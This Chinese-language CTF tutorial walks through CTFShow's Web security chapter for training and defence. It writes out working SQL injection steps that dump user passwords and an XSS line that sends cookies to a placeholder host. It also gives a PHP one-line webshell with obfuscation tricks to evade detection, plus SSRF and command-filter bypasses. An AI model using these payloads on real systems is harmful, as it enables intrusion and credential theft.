CTFShow这个平台在国内CTF圈子里,基本算是Web方向选手的启蒙必修课了。尤其是第七章的Web应用安全与防护,表面上是一组题目,实际上是把Web攻防最核心的几条主线——SQL注入、XSS、SSRF、文件上传与一句话木马、命令执行绕过——全部串了一遍。我自己的体会是,刷完这一章,不仅仅是会做几道题,而是真正建立起"攻击者视角"的思维方式。这篇东西我就从章节设计、漏洞原理、实战拆解和踩坑记录四个层面,把这一章的精华掰开揉碎了讲清楚。
1. 第七章到底在考什么:整体设计与考察逻辑
1.1 从题目编号看章节的知识地图
CTFShow的题目编号是有讲究的,第七章里你看到的web2、web29一路往后,数字并不是随便排的,而是按照"同一种漏洞类型不断加深难度"的节奏在推进。拿web29来说,题目考察的是代码审计层面的命令执行绕过,和前面web2的联合查询注入完全是两个方向,但它们共同构成了Web安全的知识骨架。
我刷完这一章的总体感受是,它把Web安全分成了四条主线:
- 注入类:SQL注入(联合查询、报错、布尔盲注、时间盲注)、命令注入、文件包含的伪协议利用
- 脚本类:XSS的各种变形、SSTI模板注入、反序列化基础
- 请求伪造类:SSRF、CSRF、文件上传配合解析漏洞
- 木马与流量类:一句话木马变形、菜刀/蚁剑连接、内网代理思路
这个分类不是官方给的,但是做多了你会发现题目之间是有家族相似性的。比如"菜狗杯"里的题目,很多就是把第七章里的某个知识点换了个马甲再考一遍,本质上还是那些东西。
1.2 难度梯度设计:为什么说第七章是分水岭
第七章前段的题目,比如web2这类SQL注入,属于"给了源码、给了报错回显、就差把答案贴你脸上"的新手友好型;但到了后半段,尤其是涉及一句话木马变形和SSRF内网探测的题目,就明显开始往"真实渗透场景"靠拢了。
我自己教学员刷题时经常打一个比方:前几题是驾校练车,后面的题是上路面对真实车流。第七章的设计逻辑就是这样——它不满足于让你知道"什么是SQL注入",而是逼着你理解"为什么参数化查询能防住注入"、"为什么WAF绕过要分字符层和语义层"。
这一章我最欣赏的一点,是它对"防护"的强调。你会发现很多题目表面上让你打进去,但打进去之后要面对的还有一层的过滤函数、黑名单、WAF规则。这种"攻击+防护"的双向训练,恰恰是实际工作中最需要的,因为纯粹的渗透测试在真实目标上几乎不存在无障碍场景。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 核心漏洞原理与实战拆解:从原理层面吃透题目
2.1 联合查询注入:不止是"猜列数"
SQL注入是第七章的开胃菜,也是整个Web安全里最经典的一类。CTFShow针对这个知识点设计的题目,核心考察的就是联合查询注入(Union Based Injection)的思路闭环。
联合查询注入的原理,说白了就是利用UNION关键字把攻击者的查询结果合并到原查询结果中回显到页面上。要打通这个攻击链,你得依次搞定三件事:
- 确定注入点类型:是字符型还是数字型。字符型注入需要在参数后面加上引号闭合,比如
?id=1';数字型直接?id=1就能判断报错差异。 - 猜解列数:用
ORDER BY或者UNION SELECT NULL,NULL,NULL逐列试探。CTFShow里的题目通常不会超过5列,但如果直接在真实系统中,列数可以达到几十列,这时候就要用二分法加快速度。 - 定位回显位:猜出列数之后,把
1,2,3这样的数字填进去,看页面上哪个位置回显了数字,就把database()、user()、group_concat(table_name)这类函数替换到回显位上。
我踩过的坑是,很多新手在第一步就会卡住——他们搞不清楚"引号报错"到底是因为SQL语法错误,还是因为程序本身的异常处理。这里分享一个判断技巧:输入?id=1'返回500或者报错,再输入?id=1' --+如果恢复正常,说明注入点在单引号闭合之后;如果两次都报错,可能注入点根本不在参数里,而是在Cookie、Referer或者User-Agent头里。
另外,第七章的联合查询注入有一个细节特别值得注意:题目经常会用preg_replace或者简单的关键字过滤来伪装成"防护",比如把select替换成空字符串。这时候就要用到双写绕过——selselectect,因为过滤函数只替换一次,替换掉中间那个select之后,剩下的字符恰好拼成完整的select。这个思路后来在菜狗杯里也被反复用到,属于必须练成肌肉记忆的操作。
2.2 XSS绕过与利用:从"弹窗"到"打Cookie"
XSS在第七章里占的比重不小,而且考察的不是那种"弹个alert就完事"的简单反射型。CTFShow的XSS题目,更像是在模拟一个真实场景:攻击者发现了一个存储型XSS点,需要构造payload绕过过滤,最终窃取管理员的Cookie或者执行特定的JS函数。
先说最基础的分类判断。反射型XSS的payload在URL里,服务端没做过滤直接拼接进HTML;存储型XSS则是把payload存进了数据库,其他用户访问页面时被加载执行;DOM型XSS不走服务端,是前端JS直接操作了location.hash或者innerHTML。这个判断非常重要,因为它决定了你的payload构造方式——存储型要优先考虑能否插入script标签,反射型要考虑URL编码和浏览器解析顺序,DOM型则要盯着JS代码本身找危险函数。
实际的绕过思路我总结成三层:
- 标签层:如果
<script>被过滤,改用<img src=x onerror=alert(1)>或者<svg/onload=alert(1)>,利用HTML解析器对非法标签的容错机制。这个在CTFShow的XSS题目里属于基础操作。 - 事件层:如果
onerror这类关键字被过滤,可以尝试大小写混淆OnErRoR,或者用HTML实体编码onerror,前提是过滤规则没有先做HTML实体解码。 - 上下文层:如果输出点在JavaScript代码内部,比如
<script>var name = "$input";</script>,这时候闭合";再注入完整的JS语句往往比插入HTML标签更有效。
我还想多说一句:XSS题目的本质不是"让弹窗出现",而是"证明你能在受害者的浏览器里执行任意脚本"。CTFShow里那些要求构造XSS平台链接、把Cookie通过new Image().src='http://xxx?c='+document.cookie外带的题目,就是在训练你把XSS从"玩具"升级成"武器"。
2.3 SSRF:从"访问本地"到"探测内网"
SSRF(服务器端请求伪造)在第七章后半段出现,属于进阶知识点。它的核心缺陷在于:服务器在接收URL参数后,会用服务器本身的身份去请求这个URL。这就给了攻击者可乘之机——让服务器去访问它本不该访问的内网资源。
CTFShow的SSRF题目,我印象里考察了几个重点:
- 协议限制绕过:题目一开始只允许
http://开头的URL,但目标内网服务跑在file://或者gopher://协议上。这里的关键是,很多过滤函数只检查URL的头部,gopher://、dict://这类协议可以直接绕过白名单限制。 - IP限制绕过:有的题目限制了只能访问某个公网IP,但真正的目标是内网的
127.0.0.1。这里可以用127.0.0.1的等价变形,比如2130706433(十进制形式)、0x7f000001(十六进制形式)、127.1(短格式)。这些变形在浏览器里可能被解析成非法地址,但在服务器端的URL解析器里是有效的——这就是解析差异导致的绕过。 - 内网端口扫描:拿到SSRF漏洞之后,可以用
http://127.0.0.1:port逐个端口的响应差异来判断内网服务开没开。端口开放时的响应和关闭时的报错信息是不同的,这个差异本身就是信息泄露。
SSRF的防护其实很考验开发者,因为简单地判断URL开头等于http://远远不够。真实项目中推荐的做法是:先解析URL拿到hostname和port,再根据业务拉白名单限制目标IP段,同时对file://这类危险协议直接拒绝。第七章的SSRF题目,目的就是让你站在攻击者角度把这些绕过技巧都试一遍,后面做防护的时候你才知道该拦什么。
2.4 一句话木马变形:从"简单eval"到"免杀对抗"
一句话木马可能是第七章里最有"对抗感"的知识点了。所谓一句话木马,就是一段极短的代码,比如PHP最常见的<?php @eval($_POST['cmd']);?>,配合蚁剑、菜刀这类客户端就能实现远程命令执行。但问题在于:这么明显的代码,几乎任何成熟的防护产品都能一眼识别,所以就有了"变形"的需求。
CTFShow里考察的一句话木马变形,核心思路可以总结为三种:
- 字符串拼接绕过特征匹配:把
assert拆成as.sert用.连接,或者把eval变成e.v.a.l,程序运行时通过字符串拼接还原出函数名再调用。很多防护规则是基于正则匹配关键字的,这种办法能让正则直接落空。 - 编码隐藏真实意图:用
base64_decode('ZmlsZV9nZXRfY29udGVudHMo')先解码出真正要执行的函数名,然后配合call_user_func去动态调用。这类变形在流量层看就是一堆乱码字符加一个解码函数,静态特征明显降低。 - 利用PHP函数回调特性:把危险函数藏在数组里,用
array_map('assert', $_POST)这种形式执行;或者利用create_function创建匿名函数,因为这类函数本身在代码库里很常见,单从黑名单正则上很难精准命中。
这里有一个重要的认知:一句话木马变形的本质,不是为了绕过代码审计(因为代码审计可以人工看逻辑),而是为了绕过基于特征匹配的自动化防护设备。所以你在设计变形时,要想的是"我的代码哪些字符会被特征规则命中",而不是"我的代码执行结果是什么"。CTFShow用题目把这种对抗思维训练出来,后面你在真实环境中看到各种WAF的时候,心里就有底了。
3. 实操过程与解题实战:完整SOP拆解
3.1 环境准备与题目信息收集
刷第七章之前,你得先把环境搞定。我的标准配置是:
- 浏览器:Firefox + HackerBar插件,用来快速修改和重放请求
- Burp Suite:关键的拦截和改包工具,不用社区版也够用,重点是学会怎么把浏览器代理指向它
- 本地PHP环境:小皮面板或者phpstudy都行,因为很多题目你想彻底搞懂原理,直接把源码在本地跑一遍是最快的方式
- 蚁剑:一句话木马连接工具,遇到后端是PHP/PHP的题目必备
拿到题目之后的第一件事,不是急着找注入点,而是做信息收集:
- 看响应头:
Server字段能告诉你后端是什么(Apache还是Nginx),X-Powered-By有时候会直接暴露PHP版本,PHP版本信息可以用来判断有没有旧版本特性和函数被禁用。 - 看URL参数结构:
/index.php?id=1和/index.php?page=home的考察方向完全不同,后者大概率是文件包含或者SSTI。 - 确认是否有源码泄露:CTFShow的题目经常会在提示里给"源码位置",或者你直接访问
/index.php.bak、/www.zip这类路径试试,拿到源码之后审计效率会指数级提升。
这套流程看起来基础,但很多选手一上来就盯着参数测漏洞,结果被过滤规则绕得晕头转向。而按这套流程走,你至少能确定攻击面在哪。
3.2 从SQL注入到命令执行:一道题的全流程复盘
我拿第七章里web29这条线做个完整复盘,这道题考察的本质是:代码审计后发现命令执行点,但执行点被函数过滤了关键字,需要构造绕过payload。
题目源码大致是这样的逻辑:
php复制<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
system($c);
}else{
echo "no no no";
}
}
?>
看到这段代码,你第一反应是:system($c)直接命令执行,但过滤了flag关键字。直接执行cat flag.php会触发过滤,所以要做绕过。
我的解决思路分三步:
- 用通配符绕过关键字匹配:Linux的bash支持通配符,
cat fla*中的fla*能匹配flag.php,但这一题如果过滤了flag这个词,fla*显然不在过滤范围内。实际测试一下,发现确实可以。 - 如果通配符被过滤,可以试试Linux的转义和引号特性:
cat fl''ag.php,单引号在bash里会拼接,最终传给cat的参数仍然是flag.php。 - 如果命令本身也被过滤,就需要利用
$IFS代替空格:cat$IFS/flag,这种方式在CTFShow里也非常常见。
这个题给我的启发是:过滤flag而不过滤fla*,本质上是"黑名单匹配"的通病——它把安全寄托在一串特征字符串上,但程序执行层的逻辑远远比字符串匹配灵活得多。你在做防护的时候千万不要只依赖关键字黑名单,要记得"最终执行层面"才是真正的地基。
3.3 文件上传绕过与解析漏洞
文件上传在第七章也算高频考点,常见姿势有两种:一种是前端JS限制后缀,直接改包就能跳过;另一种是后端MIME类型检测,把Content-Type改成image/jpeg就能绕过。真正有一点技术含量的是配合解析漏洞的场景。
举个例子,题目把上传目录设置成/uploads,Apache版本比较老,存在"从右往左解析"的特性:上传shell.php.jpg,某些配置下会把文件当作PHP解析。Nginx则有另一类解析漏洞,比如/uploads/1.jpg/.php这类畸形路径会导致前面的图片被当成PHP执行。
实操中我的建议是:
- 上传成功之后,先访问一下文件确认路径
- 如果返回200并且内容是你的图片内容,那就测试各种解析漏洞
- 如果上传后文件名被重命名了,比如
时间戳+随机串.jpg,说明代码里有你自己的处理逻辑,这时候反而要留意是不是存在二次渲染漏洞,上传的图片马可能被重新编码,需要用工具对比渲染前后的差异来避开被杀死的像素点
说句实在话,文件上传的防护核心其实不是过滤后缀,而是"存储与执行分离"——上传的文件放到单独的域名或目录,禁止脚本执行权限,文件名随机化且不可预测。第七章反复考这个点,就是要让你深刻理解:过滤是脆弱的,架构上的隔离才是真正的防护。
3.4 联合查询注入的完整流程演示
回到最经典的注入类题目,我演示一个标准的联合查询注入流程,这也对应第七章web2这类的解法:
code复制第一步:测试注入点
?id=1 正常
?id=1' 报错
?id=1' --+ 正常(说明是字符型注入)
第二步:猜列数
?id=1' ORDER BY 3 --+ 正常
?id=1' ORDER BY 4 --+ 报错(说明只有3列)
第三步:确定回显位
?id=1' UNION SELECT 1,2,3 --+
页面回显了2和3,说明这两个位置是输出位置
第四步:爆库名
?id=1' UNION SELECT 1,database(),3 --+
第五步:爆表名
?id=1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+
第六步:爆字段名和内容
?id=1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+
?id=1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+
这个流程几乎是所有SQL注入题的"基础操作",你把这个SOP练到不用思考就能输出,后面不管遇到什么变态过滤,你都有余力去处理绕过的部分。我在带新人时发现,很多人卡在"不知道下一步该干什么"上,其实就是因为流程没有固化成肌肉记忆。
4. 常见问题与排查技巧实录
4.1 环境与平台类问题
刷CTFShow最常见的不是技术问题,而是环境问题。我整理了几个高频现象:
| 现象 | 原因 | 解决方法 |
|---|---|---|
| 页面一直转圈加载不了 | 本地网络代理干扰 | 把Burp代理关掉,或者浏览器切换无代理模式直接访问 |
| 题目明明提交了正确答案却提示错误 | payload里有空格被浏览器转义 | 用Burp的Repeater重发,或者对空格做URL编码(%20) |
| 蚁剑连接不上 | 一句话木马的密码变量名写错 | 确认$_POST的key和蚁剑配置里的连接密码完全一致 |
| PHP版本导致函数不能用 | 题目环境是PHP5,本地是PHP8 | 在本地同时装PHP5和PHP8,用不同端口切换 |
这类问题的排查思路,其实就一句话:先确认请求到底长什么样,再去做技术分析。很多人一上来就在payload上折腾半天,最后发现是请求压根没发出去。
4.2 过滤绕过的常见死胡同
还有个高频问题,是选手在绕WAF、过滤函数的时候,经常陷入"试了无数种payload都不行"的尴尬。我总结了几种典型的死胡同:
- 只在一个维度上绕过。比如把
select大小写试了一遍不行,就卡住了。这时候应该换维度——从空格过滤的角度用注释符/**/代替空格,或者从关键字过滤的角度用information_schema的别名、无列名注入等方式绕过。多维度组合才是绕过的王道。 - 忽略了编码层。很多过滤规则在"解码后"的输入上做匹配,但程序内部执行时会再做一次解码。这时候你需要的是双重编码,比如
%2527,服务器第一次解出%27,WAF没命中(因为WAF匹配的是%27解码后的'),但程序二次解码后成了'。 - 不理解"最终执行上下文"。同一个payload在SQL语句里有效,在shell命令里无效,在JS代码里又无效。你构造payload之前,一定要先明确参数到底进入了哪个执行环境。
4.3 个人经验:如何最高效地刷通第七章
最后分享一点刷题效率方面的体会。我见过很多人刷CTFShow是一道题一道题硬啃,啃完就忘,这样刷一百道题也没用。更高效的做法是:
- 按漏洞类型集中刷。比如SQL注入,就把第七章所有SQL注入题一次刷完,你会发现它们的解法高度相似,变化的部分就那么几个点。
- 每道题写复盘笔记。不需要长篇大论,就记三件事:漏洞类型、绕过方式、关键payload。二刷的时候直接翻笔记,效率极高。
- 把题目扩展成"如果我是防御者"。每做完一道攻击题,反问自己:这段代码如果换我来写,我会怎么防?这个习惯让我在真实工作的代码审计里受益很多。
CTFShow第七章的价值,不在于它教了你多少条payload,而在于它逼着你去理解Web应用安全的底层逻辑——数据是怎么流转的、过滤规则为什么能被绕过、防护到底该落在哪个层面、攻击链为什么会长成这个样子。把这些想明白了,Web安全的地基就算真正打牢了。
